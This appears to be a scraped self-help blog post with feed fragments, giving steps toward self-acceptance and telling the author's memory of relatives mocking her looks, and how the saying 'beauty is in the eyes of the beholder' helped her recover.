What are the emotions that you feel? and try to discover why. The best part about trying to discover how you feel about these things is finding the memory that is attached to those emotions and negative beliefs about yourself.  The feelings are usually feelings of vulnerability that will make you feel insecure about yourself, therefore you will get upset, feel irritated, jealous, envious, etc.

What is it about that person that made you feel that way? Is it their hair? face? etc, then turn to yourself and see how you feel about those features on yourself, then try to look back and see when those negative self beliefs began. That person is not the problem, I am sorry to tell you this, but you are.

You are too busy putting yourself down and believing negative things about yourself that when you see someone with what you consider beautiful or what you wish you had, you feel inferior.

Perhaps it is time that you acknowledge the beauty that you have, and you will no longer feel threatened with what others have, as a matter of fact, you will begin to appreciate what beauty you see in others. If beauty is in the eyes of the beholder, you need to learn to see beauty in yourself.

3. Contemplate your reactions.

After you have paid attention for about a week, now start asking yourself why. Why do you feel this way and what childhood or adult memories are attached to those emotions.

Now write them down.

Acknowledgement and understanding is the first step towards working out any problem, therefore understanding why you are doing something will make it much easier to solve the root of the problem by learning to forgive others, yourself and your past. Forgiving is a challenge, but its not a one time step, its a journey.

 

4.Allow yourself to be vulnerable with yourself.

It is important that you acknowledge your own weaknesses and your own faults. You do not need to mention them to anyone, but you cannot put a wall of protection against yourself as well. Protecting yourself against others is important. People are manipulative and if they knew where your vulnerabilities are, they would probably use them against you.

With that said, you do not need to hide yourself from yourself. 

Understand that you are not perfect and that is ok.

As a matter of fact, your imperfection is perfection in itself. So appreciate that you are not perfect because that gives you room to improve, it gives you the opportunity to become a better version of yourself on a daily basis.

 

5.Do things that you love

This may seem disconnected from the other steps, but doing things you love, improves your approval of yourself. Imagine for a second that you want to like someone, but they continuously do things that make you unhappy. Would you be able to foster approval or love towards that person or thing? No!

So I would advice that you pick 1 thing that you love per week, something that will make you smile, laugh or simply feel like yourself. If you no longer know what that feels like, perhaps it time you start rediscovering who you are. The more you discover who you are, the easier it will be to love yourself.

 

Discussion question:

What are some ways you have worked to improve your self esteem over the years?

 

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]]> 110 Beauty is in the eyes of the beholder: Learning to accept yourself https://blissfullyhealing.com/beauty-is-in-the-eyes-of-the-beholder-self-esteem-and-beauty/ Tue, 26 Dec 2017 14:55:43 +0000 https://blissfullyhealing.com/?p=109   The backstory: The words rang in my ears as my eyes probed out of my head in disbelief and my mouth gaped open, perhaps to gasp for the air that was succer punched out of my chest by her …

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]]>  

The backstory:

The words rang in my ears as my eyes probed out of my head in disbelief and my mouth gaped open, perhaps to gasp for the air that was succer punched out of my chest by her words. The sight was almost comicial. She passed around passing candy to each of our cousins with a statement. ” To my preetiest cousint” … “To my … cousin” …

and continued her journey weaving through the group that was crowded around a pool table. As she approached me, I remember laughter and comments about this and about other actions. But when she got to me, she handed me the candy and without a second thought said “…and to my ugliest cousin” then she looked almost as if the words were not her own and were taken out of her thought by an external force. I was shocked, actually, dismayed and all I can remember is hurt. I was hurt. The words rang through my ears as silence filled the room. Then she giggled it off, made a snarky comment and said that she was joking, and tried to pass a pretty comment my way and a partial fake hug. Although we all knew that the truth was her first statement to me. Perhaps I believed her too. It had been told to me in so many ways over time that I think I started to believe it myself. The comments were never as direct as she had said it in that moment, but the comments were still there. The “so and so is so much prettier than you”, “your chest is so flat compared to xyz”, “your hair is like steel wood, it can’t grow, it will never grow” “your have no hips” “your butt is too flat” “You have no shape, you are like a boy”, “your laugh is too loud, wierd, fake”, “your nose is too African, too fat, too flat, too round” “your lips are too large, too dark” “your too short” “your forhead is too big”

 

When numerous people repeatedly tell you the same thing over and over and over again, even if you didnt believe it before, you might and most certianly will begin to believe in their words.

 

Photo by Samuel Castro on Unsplash
Photo by Samuel Castro on Unsplash

 

Road to personal redemption

The statement that beauty is in the eyes of the beholder was one of the main reasons and ways I was able to walk back to a fairly put together person. As much as I could remember of my childhood, my beauty was always something for me to dread. I hated my hair, my nose, my cheeks, my eyebrows, my forehead, my eyelashes, my lips, my ears, my neck, my shoulders, my arms, my fingers, my stomach, my legs, my knees, my toes, my height. I mean, I seemed not to have a reason to love anything about myself, and anytime someone would make a positive comment about my features, I would feel extremely uncomfortable and out of place. As a matter of fact, it was almost instinctively that I would spend time un-believeing and un-telling myself what they had said.

 

So what is it about the saying that made me walk into the word of self-esteem development? It was the acknowledgement that everyone has their own opinion about how to perceive the exact same thing. So if someone did not think I was beautiful, someone somewhere does and will.

That was my spring board into the world of self esteem.

Then I began to realize that perhaps its not that people should believe and think I was beautiful. It was that I should believe and know that I am beautiful and that was the best part of discovering my personal beauty. Acknowledging that every aspect of me is perfect as it is and understanding that I would have probably been a very different person if anything was different, made me realize that the external consent of my beauty was not important, but rather the internal acknowledgement and approval of my features and chracteristics was the best part of the whole beauty charade.

 

The personal acknowledgement that you are beautiful is a powerful tool. The thoughts that stem from reminding yourself that you are beautiful, without fear of your own or of others’ criticism is more powerful than any external praise. These personal empowering thoughts makes the challenges faced while building self worth and self esteem much easier to handle and worth every second.

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5 steps toward beauty self-esteem and self-approval.

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